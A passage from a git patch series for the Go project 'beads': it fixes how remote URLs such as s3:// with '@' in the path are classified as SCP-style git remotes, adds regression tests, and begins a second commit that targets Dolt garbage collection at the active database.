#6798) declares only a go_library. Generated by bazel run //:gazelle; no hand-written lines. * fix(doltremote): guard FromGitURL's SCP split, cross-reference the SCP grammars Maintainer review fixes for the four non-gating findings in the iteration-1 synthesis (0 blockers, 0 majors; quality scorecard 986/approve). The PR's own fix is unchanged. Contract fidelity, the one gate-impact-minor finding: FromGitURL is exported and cmd/bd's gitURLToDoltRemote calls it directly, bypassing Normalize's classification. Its first-colon split still rebuilt s3://bucket/team@prod/db into git+ssh://s3///bucket/team@prod/db, the exact string this PR removes from Normalize. That split now obeys the same "://" rule as isSCPStyleGitURL. This takes the finding's second offered arm over its first. Gating on isSCPStyleGitURL(url) instead changes 17 of 31 inputs across the package's own corpus, against 9 for the "://" guard; the 8 extra are the SCP hosts that predicate deliberately declines to classify - IDN hosts, non-ASCII userinfo and dotless aliases - which FromGitURL converts correctly today. TestFromGitURLStillConvertsSCPForms pins them, and mutating to the rejected arm reds exactly those three rows while the new regression pin still passes. NativeSchemes: the finding's "add az:// and oci:// for consistency" arm is declined and the documentation arm taken instead. The PR body scopes this change to s3:// and defers az:// to #6227 explicitly; #6227 is open, and it pairs NativeSchemes with dolt.IsBackupURL - the site where the gap actually changes behavior - so adding the entry here would have overridden a tracked contributor decision while closing only half the bug. oci:// is in neither authority's native list. The list's doc comment now records that narrowing, points at remotecache.remoteSchemes as the fuller authority, and states that membership is inert: every entry contains "://", so isSCPStyleGitURL rejects it and Normalize's closing "return url" returns the same bytes listed or not. Dropping gs:// reds one census leaf and no behavioral test, which measures that claim rather than asserting it. The new FromGitURL table covers az:// and oci:// precisely because the guard is keyed on "://" and not on list membership. Duplicate SCP grammar: scpStyleGitURLPattern's first alternative is byte-identical to remotecache.gitSSHPattern, and the whole pattern is a superset by exactly the user-less dotted-host form - the form on which the two already disagree in production. Both regexes now cross-reference each other and the divergence is pinned from each side. Exporting a shared matcher was the other offered arm; it would have widened remotecache.IsRemoteURL's accept set, a behavior change in a second package for a non-gating finding. normalizeRemoteURL's doc comment restated Normalize's rules and had drifted twice: it never gained s3://, and it named gitURLToDoltRemote as the converter when the body calls doltremote.Normalize directly. Collapsed it to a reference so the surface cannot drift again. Codex's prescribed remedy for the hollow NativeSchemes census subtest is declined, as the synthesis directs: asserting Normalize(scheme+"bucket/x") per scheme passes against an empty list, for the same inertness reason above. The subtest's comment, which claimed to protect a fast path it cannot observe, is corrected instead. go test ./internal/doltremote/ ./internal/remotecache/ green; cmd/bd named selector 56 pass, 0 fail, 0 skip; go build ./..., go vet and gofmt clean; bazel test passes on both packages; gazelle and go_srcs.py --check report no BUILD drift. --------- Co-authored-by: Julian Knutsen Co-authored-by: Gas City Adopt-PR --- cmd/bd/sync_remote.go | 9 +- internal/doltremote/BUILD.bazel | 15 +- internal/doltremote/remote.go | 81 +++++++--- internal/doltremote/remote_invariant_test.go | 76 +++++++++ internal/doltremote/remote_test.go | 157 +++++++++++++++++++ internal/remotecache/url.go | 7 + internal/remotecache/url_test.go | 33 ++++ 7 files changed, 347 insertions(+), 31 deletions(-) create mode 100644 internal/doltremote/remote_invariant_test.go create mode 100644 internal/doltremote/remote_test.go diff --git a/cmd/bd/sync_remote.go b/cmd/bd/sync_remote.go index 4c8a1f86f..fbfd74684 100644 --- a/cmd/bd/sync_remote.go +++ b/cmd/bd/sync_remote.go @@ -60,10 +60,11 @@ func commitBeadsConfigForActiveRepo(ctx context.Context, msg string) { } // normalizeRemoteURL converts a remote URL to a Dolt-compatible format. -// Dolt-native URLs (dolthub://, file://, aws://, gs://, git+...) are -// returned as-is. Git URLs (https://, ssh://, git@...) are converted -// via gitURLToDoltRemote. Unknown schemes are returned as-is and let -// dolt clone decide. +// See doltremote.Normalize for the scheme rules - this wrapper adds nothing and +// exists only so call sites in this package read against one local name. +// Restating those rules here drifts: this comment still omitted s3:// after the +// source gained it, and named gitURLToDoltRemote as the converter when the call +// below goes to doltremote.Normalize directly. func normalizeRemoteURL(url string) string { return doltremote.Normalize(url) } diff --git a/internal/doltremote/BUILD.bazel b/internal/doltremote/BUILD.bazel index 541e39c79..edca71b4d 100644 --- a/internal/doltremote/BUILD.bazel +++ b/internal/doltremote/BUILD.bazel @@ -1,4 +1,4 @@ -load("@rules_go//go:def.bzl", "go_library") +load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "doltremote", @@ -6,3 +6,16 @@ go_library( importpath = "github.com/steveyegge/beads/internal/doltremote", visibility = ["//:__subpackages__"], ) + +go_test( + name = "doltremote_test", + srcs = [ + "remote_invariant_test.go", + "remote_test.go", + ], + embed = [":doltremote"], + deps = [ + "//internal/remotecache", + "//internal/storage/doltutil", + ], +) diff --git a/internal/doltremote/remote.go b/internal/doltremote/remote.go index c9059fa68..f44a7d81c 100644 --- a/internal/doltremote/remote.go +++ b/internal/doltremote/remote.go @@ -1,14 +1,29 @@ package doltremote -import "strings" +import ( + "regexp" + "strings" +) // NativeSchemes are URL schemes that Dolt understands natively and should not // be converted through FromGitURL. +// +// This list is deliberately narrower than remotecache.remoteSchemes, the repo's +// fuller scheme authority: az:// and oci:// are absent here. For az:// that gap +// is tracked in #6227, which also covers dolt.IsBackupURL - the site where the +// gap actually changes behavior - so completing this list on its own would +// close only half of it. +// +// Membership is not load-bearing either way. Every entry contains "://", which +// isSCPStyleGitURL rejects outright, so Normalize's closing "return url" +// already hands back any of these URLs byte-identical whether or not they are +// listed. The list records intent; the "://" guard is what preserves the bytes. var NativeSchemes = []string{ "dolthub://", "file://", "aws://", "gs://", + "s3://", "git+https://", "git+ssh://", "git+http://", @@ -16,9 +31,14 @@ var NativeSchemes = []string{ } // Normalize converts a remote URL to a Dolt-compatible format. -// Dolt-native URLs (dolthub://, file://, aws://, gs://, git+...) are returned +// Dolt-native URLs (dolthub://, file://, aws://, gs://, s3://, git+...) are returned // as-is. Git URLs (https://, ssh://, git@...) are converted via FromGitURL. // Unknown schemes are returned as-is and let dolt clone decide. +// +// The NativeSchemes loop is only a shortcut. What actually keeps every scheme +// URL intact is the "://" guard in isSCPStyleGitURL: it stops a path or query +// containing "@" from being read as an SCP-style git remote, so an unlisted +// scheme still falls through to the closing "return url". func Normalize(url string) string { for _, scheme := range NativeSchemes { if strings.HasPrefix(url, scheme) { @@ -43,6 +63,15 @@ func Normalize(url string) string { // SCP-style SSH URLs are converted: git@host:path -> git+ssh://git@host/path // SSH URLs get "git+" prefix: ssh://... -> git+ssh://... // URLs that already have "git+" prefix are returned as-is. +// +// The SCP split obeys the same "://" rule as isSCPStyleGitURL, so a scheme URL +// handed to this exported entry point directly - rather than routed here by +// Normalize - cannot be rebuilt into git+ssh://s3///bucket/team@prod/db. The +// narrower shape test stays in isSCPStyleGitURL, which is what Normalize +// classifies on. Gating here on that predicate instead would additionally stop +// converting the SCP hosts it deliberately declines to classify (IDN hosts, +// non-ASCII userinfo, dotless aliases) - measured at 8 further inputs changed +// over the package's own corpus, none of them the bug this guard closes. func FromGitURL(url string) string { if strings.HasPrefix(url, "git+") { return url @@ -56,37 +85,37 @@ func FromGitURL(url string) string { if isWindowsDrivePath(url) { return "git+" + url } - if idx := strings.Index(url, ":"); idx > 0 && !strings.Contains(url[:idx], "/") { - return "git+ssh://" + url[:idx] + "/" + url[idx+1:] + if !strings.Contains(url, "://") { + if idx := strings.Index(url, ":"); idx > 0 && !strings.Contains(url[:idx], "/") { + return "git+ssh://" + url[:idx] + "/" + url[idx+1:] + } } return "git+" + url } +// scpStyleGitURLPattern matches SCP-style git remotes. Its first alternative +// (user@host) is byte-identical to remotecache.gitSSHPattern in +// internal/remotecache/url.go; this pattern is a superset by exactly its second +// alternative, the user-less dotted-host form ("github.com:org/repo.git"), +// which remotecache.IsRemoteURL intentionally reports as false. The two are +// otherwise one grammar with no cross-reference, so keep them in sync; the +// divergence is pinned by TestSCPGrammarDivergesFromRemotecacheOnlyOnDottedHost +// here and by TestIsRemoteURLRejectsUserlessDottedHost on the remotecache side. +var scpStyleGitURLPattern = regexp.MustCompile(`^(?:[a-zA-Z0-9._-]+@[a-zA-Z0-9][a-zA-Z0-9._-]*|[a-zA-Z0-9][a-zA-Z0-9._-]*\.[a-zA-Z0-9._-]*):[^\x00-\x1f\x7f]+$`) + // isSCPStyleGitURL reports whether url looks like an SCP-style git remote: -// either the classic user form (git@host:path) or the user-less form -// (host:path). The user-less form is only recognized when the pre-colon -// token looks like a hostname (contains a ".") so that dotless tokens such -// as a Windows drive letter ("C:foo") are not mistaken for a host. +// user@host:path, or host:path when the pre-colon token contains a "." so a +// Windows drive letter ("C:foo") is not mistaken for a host. Anything that +// carries a "://" scheme is never SCP-style, whatever else it contains, so a +// query or path with "@" in it cannot turn an s3:// URL into a git remote. // -// Known limitation: git itself also accepts dotless SSH config aliases in -// this position (e.g. "github:org/repo.git", "localhost:repo.git"), which -// the "." check above rejects. Those origins pass through unconverted and -// won't canonically match an equivalent git+ssh://alias/... or -// user@alias:path Dolt remote. This is a deliberate trade-off to keep -// isWindowsDrivePath's single-letter-drive check from being the only guard -// against misreading "C:foo" as a host; widening the rule (e.g. following -// git's own convention of treating anything host:path as SCP-style unless -// the pre-colon token is a single-letter drive) is tracked as a follow-up -// rather than fixed here. +// Known limitations: git also accepts dotless SSH config aliases +// ("github:org/repo.git"); those pass through unconverted and will not +// canonically match an equivalent git+ssh:// form. User and host are limited +// to [a-zA-Z0-9._-], so non-ASCII userinfo and IDN hosts are not recognized +// either. func isSCPStyleGitURL(url string) bool { - idx := strings.Index(url, ":") - if idx <= 0 || strings.Contains(url[:idx], "/") { - return false - } - if strings.Contains(url, "@") { - return true - } - return strings.Contains(url[:idx], ".") + return !strings.Contains(url, "://") && scpStyleGitURLPattern.MatchString(url) } // CanonicalForComparison returns a form of url suitable for equality checks diff --git a/internal/doltremote/remote_invariant_test.go b/internal/doltremote/remote_invariant_test.go new file mode 100644 index 000000000..52762d985 --- /dev/null +++ b/internal/doltremote/remote_invariant_test.go @@ -0,0 +1,76 @@ +package doltremote_test + +import ( + "testing" + + "github.com/steveyegge/beads/internal/doltremote" + "github.com/steveyegge/beads/internal/remotecache" + "github.com/steveyegge/beads/internal/storage/doltutil" +) + +func TestS3RemotePreservesInternalBoundaries(t *testing.T) { + // The "@" in the path is what the old SCP heuristic tripped on. + const raw = "s3://bucket/team@prod/db?endpoint=https://acct.r2.example®ion=auto&path-style=true" + + if err := remotecache.ValidateRemoteURL(raw); err != nil { + t.Fatalf("ValidateRemoteURL(%q): %v", raw, err) + } + if got := doltremote.Normalize(raw); got != raw { + t.Errorf("Normalize(%q) = %q, want unchanged", raw, got) + } + if doltutil.IsGitProtocolURL(raw) { + t.Errorf("IsGitProtocolURL(%q) = true, want false", raw) + } +} + +// TestSCPGrammarDivergesFromRemotecacheOnlyOnDottedHost pins the one form on +// which doltremote's SCP grammar and remotecache's intentionally disagree. +// +// scpStyleGitURLPattern's first alternative is byte-identical to +// remotecache.gitSSHPattern; the whole pattern is a superset by exactly its +// second alternative, the user-less dotted-host form. Neither file referenced +// the other before this test, so silent drift was one edit away in either. This +// asserts the relationship through each package's public behavior rather than +// by comparing the two regexes, which would just be a third copy of the grammar. +func TestSCPGrammarDivergesFromRemotecacheOnlyOnDottedHost(t *testing.T) { + // The divergence itself: doltremote converts it, remotecache does not + // classify it as a remote URL at all. + const dottedHost = "github.com:org/repo.git" + if got, want := doltremote.Normalize(dottedHost), "git+ssh://github.com/org/repo.git"; got != want { + t.Errorf("Normalize(%q) = %q, want %q", dottedHost, got, want) + } + if remotecache.IsRemoteURL(dottedHost) { + t.Errorf("IsRemoteURL(%q) = true, want false - remotecache omits the dotted-host alternative", dottedHost) + } + + // Everywhere else the two grammars agree, which is what makes the line + // above the *only* divergence rather than one of several. + agree := []string{ + "git@github.com:org/repo.git", + "deploy@myserver.com:beads/data", + "user.name@host.com:path", + } + for _, raw := range agree { + t.Run(raw, func(t *testing.T) { + if !remotecache.IsRemoteURL(raw) { + t.Errorf("IsRemoteURL(%q) = false, want true", raw) + } + if got := doltremote.Normalize(raw); got == raw { + t.Errorf("Normalize(%q) returned it unconverted, want an SCP conversion", raw) + } + }) + } + + // And neither treats these as SCP-style git remotes. + reject := []string{ + "host:pa@th", + "s3://bucket/team@prod/db", + } + for _, raw := range reject { + t.Run(raw, func(t *testing.T) { + if got := doltremote.Normalize(raw); got != raw { + t.Errorf("Normalize(%q) = %q, want unchanged", raw, got) + } + }) + } +} diff --git a/internal/doltremote/remote_test.go b/internal/doltremote/remote_test.go new file mode 100644 index 000000000..c93ef9a69 --- /dev/null +++ b/internal/doltremote/remote_test.go @@ -0,0 +1,157 @@ +package doltremote + +import ( + "slices" + "testing" +) + +func TestIsSCPStyleGitURLRecognizesValidForms(t *testing.T) { + tests := []string{ + "git@github.com:org/repo.git", + "deploy@myserver.com:beads/data", + "git@github:org/repo.git", + "github.com:org/repo.git", + // Dots in the user token are inside the accepted charset. + "user.name@host.com:path", + } + + for _, raw := range tests { + t.Run(raw, func(t *testing.T) { + if !isSCPStyleGitURL(raw) { + t.Errorf("isSCPStyleGitURL(%q) = false, want true", raw) + } + }) + } +} + +func TestIsSCPStyleGitURLRejectsNonSCPInputs(t *testing.T) { + tests := []string{ + "s3://bucket/team@prod/beads", + "s3://bucket/db?endpoint=https://minio.local/api@v1", + `C:\Users\alice\beads`, + "C:/Users/alice/beads", + // Empty path. The "@" alone used to classify this as SCP-style; the + // anchored grammar requires at least one path character. + "git@host.com:", + // Dotless host with the only "@" after the colon. The "@" alone used + // to classify these as SCP-style (host:pa@th -> git+ssh://host/pa@th); + // the anchored grammar wants user@host or a dotted host before the colon. + "host:pa@th", + "alias:repo@v1", + // Non-ASCII userinfo is outside [a-zA-Z0-9._-]; the URL passes + // through unconverted instead of being rewritten to git+ssh://. + "usér@host.com:path", + // IDN host, same charset limit. + "git@bücher.example:repo", + } + + for _, raw := range tests { + t.Run(raw, func(t *testing.T) { + if isSCPStyleGitURL(raw) { + t.Errorf("isSCPStyleGitURL(%q) = true, want false", raw) + } + }) + } +} + +// TestNativeSchemesContainsEachNativeScheme guards the documented contents of +// NativeSchemes, nothing more. It deliberately asserts no behavior: the list is +// a fast path with no observable effect, because every entry contains "://", +// isSCPStyleGitURL rejects those outright, and Normalize's closing "return url" +// therefore hands back the same bytes for an entry that is present and for one +// that has been deleted. Removing an entry is caught here, as a documentation +// regression; no assertion over Normalize can catch it while that guard stands. +// The behavior this package actually relies on is pinned by the +// isSCPStyleGitURL tables above and by remote_invariant_test.go. +func TestNativeSchemesContainsEachNativeScheme(t *testing.T) { + tests := []string{ + "dolthub://", + "file://", + "aws://", + "gs://", + "s3://", + "git+https://", + "git+ssh://", + "git+http://", + "git+file://", + } + + for _, scheme := range tests { + t.Run(scheme, func(t *testing.T) { + if !slices.Contains(NativeSchemes, scheme) { + t.Errorf("slices.Contains(NativeSchemes, %q) = false, want true", scheme) + } + }) + } +} + +// TestFromGitURLLeavesSchemeURLsUnsplit pins the exported entry point against +// the misparse the PR removed from Normalize. Normalize never routes a scheme +// URL here, but FromGitURL is exported and gitURLToDoltRemote (cmd/bd) calls it +// directly, so the refusal has to live in FromGitURL itself rather than in its +// caller. +func TestFromGitURLLeavesSchemeURLsUnsplit(t *testing.T) { + tests := []struct { + raw string + want string + }{ + // Before the "://" guard this returned git+ssh://s3///bucket/team@prod/db: + // the first colon sits at index 2 with no "/" before it, so the SCP split + // fired and fabricated "s3" as the host. + {"s3://bucket/team@prod/db", "git+s3://bucket/team@prod/db"}, + { + "s3://bucket/db?endpoint=https://acct.r2.example®ion=auto", + "git+s3://bucket/db?endpoint=https://acct.r2.example®ion=auto", + }, + {"gs://bucket/team@prod/db", "git+gs://bucket/team@prod/db"}, + // az:// and oci:// are deliberately absent from NativeSchemes (#6227). + // The guard is keyed on "://", not on list membership, so they are + // protected here exactly as the listed schemes are - which is why + // completing that list is not what closes this hole. + { + "az://account.blob.core.windows.net/container/beads", + "git+az://account.blob.core.windows.net/container/beads", + }, + {"oci://registry.example/tenant@prod/db", "git+oci://registry.example/tenant@prod/db"}, + } + + for _, tt := range tests { + t.Run(tt.raw, func(t *testing.T) { + if got := FromGitURL(tt.raw); got != tt.want { + t.Errorf("FromGitURL(%q) = %q, want %q", tt.raw, got, tt.want) + } + }) + } +} + +// TestFromGitURLStillConvertsSCPForms is the opposite-polarity twin of +// TestFromGitURLLeavesSchemeURLsUnsplit. The guard added there is scoped to +// "://" on purpose: gating the split on isSCPStyleGitURL instead would also +// stop converting the SCP hosts that predicate deliberately declines to +// classify, and the last three rows are exactly those. They reach FromGitURL +// only through a direct call, never through Normalize, and converting them is +// pre-existing behavior this change must not quietly drop. +func TestFromGitURLStillConvertsSCPForms(t *testing.T) { + tests := []struct { + raw string + want string + }{ + {"git@github.com:org/repo.git", "git+ssh://git@github.com/org/repo.git"}, + {"deploy@myserver.com:beads/data", "git+ssh://deploy@myserver.com/beads/data"}, + {"github.com:org/repo.git", "git+ssh://github.com/org/repo.git"}, + // Non-ASCII userinfo: outside scpStyleGitURLPattern's charset. + {"usér@host.com:path", "git+ssh://usér@host.com/path"}, + // IDN host: same charset limit. + {"git@bücher.example:repo", "git+ssh://git@bücher.example/repo"}, + // Dotless SSH config alias: no "@", no "." before the colon. + {"github:org/repo.git", "git+ssh://github/org/repo.git"}, + } + + for _, tt := range tests { + t.Run(tt.raw, func(t *testing.T) { + if got := FromGitURL(tt.raw); got != tt.want { + t.Errorf("FromGitURL(%q) = %q, want %q", tt.raw, got, tt.want) + } + }) + } +} diff --git a/internal/remotecache/url.go b/internal/remotecache/url.go index 073df60a9..5dc8b086e 100644 --- a/internal/remotecache/url.go +++ b/internal/remotecache/url.go @@ -49,6 +49,13 @@ var allowedSchemes = map[string]bool{ // gitSSHPattern matches SCP-style git remote URLs (user@host:path). // The path portion excludes control characters (0x00-0x1f, 0x7f). +// +// This is byte-identical to the first alternative of +// doltremote.scpStyleGitURLPattern in internal/doltremote/remote.go. That one +// is a superset: it also accepts the user-less dotted-host form +// ("github.com:org/repo.git"), which IsRemoteURL intentionally reports as false +// (pinned by TestIsRemoteURLRejectsUserlessDottedHost). The two are one grammar +// maintained in two places, so keep them in sync. var gitSSHPattern = regexp.MustCompile(`^[a-zA-Z0-9._-]+@[a-zA-Z0-9][a-zA-Z0-9._-]*:[^\x00-\x1f\x7f]+$`) // validRemoteNameRegex matches valid remote names: starts with a letter, diff --git a/internal/remotecache/url_test.go b/internal/remotecache/url_test.go index 28d3591b6..ea4203011 100644 --- a/internal/remotecache/url_test.go +++ b/internal/remotecache/url_test.go @@ -47,6 +47,39 @@ func TestIsRemoteURL(t *testing.T) { } } +// TestIsRemoteURLRejectsUserlessDottedHost pins this package's side of the one +// intentional disagreement with doltremote.scpStyleGitURLPattern, whose first +// alternative is byte-identical to gitSSHPattern but which additionally accepts +// the user-less dotted-host form. doltremote.Normalize converts that form to +// git+ssh://; IsRemoteURL treats it as a local path. Changing this behavior +// means reconciling both files, not just this one. +func TestIsRemoteURLRejectsUserlessDottedHost(t *testing.T) { + userless := []string{ + "github.com:org/repo.git", + "myserver.com:beads/data", + } + for _, raw := range userless { + t.Run(raw, func(t *testing.T) { + if IsRemoteURL(raw) { + t.Errorf("IsRemoteURL(%q) = true, want false", raw) + } + }) + } + + // The shared alternative: identical charset, and both packages accept it. + withUser := []string{ + "git@github.com:org/repo.git", + "deploy@myserver.com:beads/data", + } + for _, raw := range withUser { + t.Run(raw, func(t *testing.T) { + if !IsRemoteURL(raw) { + t.Errorf("IsRemoteURL(%q) = false, want true", raw) + } + }) + } +} + func TestValidateRemoteURL(t *testing.T) { tests := []struct { name string From 8269a88cbf7f1842a66678b0520820261b4b0015 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Tue, 29 Sep 2026 09:27:43 -0600 Subject: [PATCH 235/624] fix(compact): target external GC at the active database (#6327) * fix(compact): report active database size (#5619) Measure legacy admin compact --dolt reporting through ActiveDatabaseSizer so sibling databases cannot distort reclaimed-space numbers. Omit unavailable advisory measurements without blocking GC. Signed-off-by: Ewen Cuthiell Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * docs(compact): explain the legacy size field names Keep the existing compact JSON schema distinct from the newer GC helper. The active external-GC target is addressed by the separate issue6313 leaf. * fix(compact): select the authoritative local active GC directory Ask the active storage instance for its optional external-GC directory capability. Reuse the authority captured at store open, and refuse stale, unsupported or invalid local targets rather than guessing from a root, general CLI path or advisory size. Preserve archive-level fallback behavior. Add native owned-process target and no-launch regressions plus instance authority tests; retain the parent active-size and legacy JSON contracts. Fixes #6313 * fix(compact): resolve GC capability through storage decorators Use the existing storage unwrapping boundary so external GC sees the captured active database behind the root command's dependency, telemetry and hook decorators. Cover owned, shared and unsupported stores through the real chain, and describe the active database in compact help. Refs gastownhall/beads#6313 Agent: unknown-model/unknown-reasoning * fix(compact): preserve external GC refusal diagnostics (#6313) Route all four new target refusals through the standard error/hint formatter and assert their stderr schema, message, hint and exit status. Preserve the relative-path refusal and unavailable dry-run target omission. Update the requested compact and flatten help mirrors without regenerating other docs. Addresses the diagnostics and documentation review on PR #6327. Existing PR #5668 ancestry and mandatory parent-first sequencing remain unchanged. Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * docs(compact): align flag help with active GC target (saa-cgh.94) Authored by /root/cgh86_review; closes the independent root review help finding. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs: retain release-pinned CLI references (saa-cgh.94) Preserve corrected live compact/flatten help while generated references continue to match docs/cli-docs.pin v1.2.2. Fix the exact six-line hosted docs-policy failure without changing pin authority. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(compact): classify cancellation before the GC authority refusal Maintainer review fixes for #6327, review iteration 1. Non-gating findings only: the synthesis and the quality scorecard both returned approve with no blocker and no major finding. Taken: - Error Handling & Resilience (minor, both lanes). runCompactDolt formatted a cancelled or expired context as the permanent "cannot select a local database" refusal plus its four-cause hint, and in --dry-run turned it into a hard exit-1. Classify context.Canceled/DeadlineExceeded ahead of the ErrUnsupported arm and report the interruption instead. The ctx probe stays in ExternalGCPath: it is the only cancellation checkpoint before the uninterruptible external `dolt gc`, so the finding's other arm (drop the probe) would trade a misleading message for launching a multi-minute GC on an interrupted command. - Change Impact / Blast Radius (minor). Document why resolveLocalActiveDatabaseDir keeps the cfg.AutoStart conjunct, and make the CLI hint name the remedy (`bd config set dolt.auto-start true`) instead of only the condition. The offered code arm is declined: AutoStart rides resolveAutoStart's own exclusions (forced false for ServerModeExternal and under BEADS_TEST_MODE=1), so dropping it widens GC authority - a behavior change, not a cleanup. - Release Safety (minor). Add the three new test files to the gazelle explicit go_test srcs lists so this PR's assertions are visible under `bazel test`. Verified with `bazel run //:gazelle -- --mode=diff`: gazelle requests none of the three, so the rows match its own output. The two rows it still wants are pre-existing base drift in unrelated files and are left alone. - Test Evidence Quality (nit). The two "unsupported ... through decorators" rows were measured vacuous for the decorator claim. Pin the refusal's origin through ErrUnsupported.Backend ("external" = the active store refused, "active store" = the interface assertion missed) and pin the opposite polarity on the size-only/locator-only rows. Residual recorded on the test: the dry-run decorator row still cannot discriminate, because its benign preview is identical for both origins. Declined, and carried to the human-approval summary: - Debuggability & Operability (minor, gate impact none). Reusing the `bd gc` companions adds production output in an iteration no further review pass grades, and the alternative arm would assert the refs are left in place "deliberately", which nothing in the change establishes. - Resource Lifecycle & Cleanup (nit, Required fix: none). exec.CommandContext would kill a mid-flight `dolt gc`; that is a data-safety question for the GC path rather than a cleanup. Validation: `go build ./...` and `go vet` on cmd/bd + internal/storage{,/dolt} clean; scripts/ci/pr-lint.sh against the pinned base green (gofmt, golangci-lint 0 issues, windows cross-lint 0 issues), proved non-vacuous by a misspell planted on an added line; 66 PASS / 0 FAIL / 0 SKIP over the covering cmd/bd selectors. Both new pins are mutation-proved: removing the classification arm reds exactly the three new cancellation rows and nothing else, and dropping storage.UnwrapStore now reds three decorator rows where it previously reddened two. internal/storage/dolt/store.go is comment-only. --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Gas City Merge Queue --- cmd/bd/BUILD.bazel | 2 + cmd/bd/compact.go | 147 +++++--- cmd/bd/compact_gc_size_test.go | 88 +++++ cmd/bd/compact_gc_target_test.go | 325 ++++++++++++++++++ cmd/bd/flatten.go | 2 +- internal/storage/dolt/BUILD.bazel | 1 + .../storage/dolt/external_gc_path_test.go | 42 +++ internal/storage/dolt/store.go | 23 ++ internal/storage/storage.go | 8 + 9 files changed, 580 insertions(+), 58 deletions(-) create mode 100644 cmd/bd/compact_gc_size_test.go create mode 100644 cmd/bd/compact_gc_target_test.go create mode 100644 internal/storage/dolt/external_gc_path_test.go diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 85e633049..efec9749f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -548,6 +548,8 @@ go_test( "comments_test.go", "compact_embedded_test.go", "compact_gc_flag_test.go", + "compact_gc_size_test.go", + "compact_gc_target_test.go", "compact_plan_test.go", "compact_test.go", "compact_tier2_embedded_test.go", diff --git a/cmd/bd/compact.go b/cmd/bd/compact.go index 952bb9c52..d81026537 100644 --- a/cmd/bd/compact.go +++ b/cmd/bd/compact.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "io" "os" @@ -60,7 +61,7 @@ Dolt Garbage Collection: With auto-commit per mutation, Dolt commit history grows over time. Use --dolt to run Dolt garbage collection and reclaim disk space. - --dolt: Run Dolt GC on .beads/dolt directory to free disk space. + --dolt: Run Dolt GC on the active database to free disk space. This removes unreachable commits and compacts storage. Examples: @@ -111,7 +112,7 @@ Examples: // Handle dolt GC mode if compactDolt { - return runCompactDolt() + return runCompactDolt(ctx) } // Count active modes @@ -743,8 +744,8 @@ func runCompactApply(ctx context.Context, store storage.DoltStorage) error { return nil } -// runCompactDolt runs Dolt garbage collection on the .beads/dolt directory -func runCompactDolt() error { +// runCompactDolt runs external Dolt GC in the locally owned active database. +func runCompactDolt(ctx context.Context) error { start := time.Now() // Find beads directory @@ -753,14 +754,34 @@ func runCompactDolt() error { return HandleErrorWithHint(activeWorkspaceNotFoundError(), diagHint()) } - // Check for dolt directory - doltPath := filepath.Join(beadsDir, "dolt") - if _, err := os.Stat(doltPath); os.IsNotExist(err) { - if compactDryRun { + // Resolve operation authority from the opened store, never a stale project + // directory, general CLI path, or advisory size measurement. + var doltPath string + var pathErr error + if locator, ok := storage.UnwrapStore(store).(storage.ExternalGCLocator); ok { + doltPath, pathErr = locator.ExternalGCPath(ctx) + } else { + pathErr = &storage.ErrUnsupported{Op: "ExternalGCPath", Backend: "active store"} + } + if pathErr != nil { + // Classify cancellation before formatting. ExternalGCPath probes ctx, so an + // interrupt or deadline surfaces here as a bare context error, and it is not + // an authority refusal: without this arm a SIGINT renders as the permanent + // "cannot select a local database" message plus the four-cause hint about + // port overrides and proxied servers, none of which applies. The ctx probe + // stays in ExternalGCPath deliberately — it is the only cancellation + // checkpoint before the uninterruptible external `dolt gc` below. + if errors.Is(pathErr, context.Canceled) || errors.Is(pathErr, context.DeadlineExceeded) { + return HandleErrorWithHint( + fmt.Sprintf("external Dolt garbage collection was interrupted: %v", pathErr), + "the command stopped before the active database was resolved, so no garbage collection ran. "+ + "Re-run 'bd admin compact --dolt' to collect.") + } + var unsupported *storage.ErrUnsupported + if compactDryRun && errors.As(pathErr, &unsupported) { if jsonOutput { output := map[string]interface{}{ "dry_run": true, - "dolt_path": doltPath, "available": false, } if err := outputJSON(output); err != nil { @@ -769,27 +790,46 @@ func runCompactDolt() error { return nil } fmt.Printf("DRY RUN - Dolt garbage collection\n\n") - fmt.Printf("Dolt directory: %s\n", doltPath) - fmt.Printf("No local Dolt directory found; nothing to collect.\n") + fmt.Printf("The active database is not available for local external garbage collection.\n") return nil } - return HandleErrorWithHint(fmt.Sprintf("Dolt directory not found at %s", doltPath), "--dolt flag is only for repositories using the Dolt backend") + return HandleErrorWithHint( + fmt.Sprintf("cannot select a local database for external Dolt garbage collection: %v", pathErr), + "--dolt requires a locally managed owned/shared Dolt database. Port overrides (BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT), "+ + "external/gateway/proxied servers, and socket/TLS connections do not authorize local GC; owned mode also requires "+ + "auto-start, so a hand-started owned server needs 'bd config set dolt.auto-start true'. "+ + "Run 'bd doctor' to inspect the connection or ask the server administrator to run GC.") + } + if !filepath.IsAbs(doltPath) { + return HandleErrorWithHint( + fmt.Sprintf("external Dolt garbage collection requires an absolute active database directory, got %q", doltPath), + "run 'bd doctor' and correct the active database configuration to use an absolute directory") + } + info, err := os.Stat(doltPath) + if err != nil { + return HandleErrorWithHint( + fmt.Sprintf("active Dolt database directory is unavailable: %v", err), + "check that the active database directory exists and is accessible; run 'bd doctor' to inspect the database configuration") + } + if !info.IsDir() { + return HandleErrorWithHint( + fmt.Sprintf("active Dolt database path %q is not a directory", doltPath), + "run 'bd doctor' and correct the active database configuration to point to a directory, not a file") } - // Get size before GC - sizeBefore, err := getDirSize(doltPath) - if err != nil { - fmt.Fprintf(os.Stderr, "Warning: could not calculate directory size: %v\n", err) - sizeBefore = 0 - } + // Measure only the active database. The shared .beads/dolt root may contain + // sibling databases unrelated to this GC operation. + sizeBefore := storeSizeBytes(ctx) if compactDryRun { if jsonOutput { output := map[string]interface{}{ - "dry_run": true, - "dolt_path": doltPath, - "size_before": sizeBefore, - "size_display": formatBytes(sizeBefore), + "dry_run": true, + "dolt_path": doltPath, + } + if sizeBefore >= 0 { + output["size_before"] = sizeBefore + output["size_display"] = formatBytes(sizeBefore) } if err := outputJSON(output); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) @@ 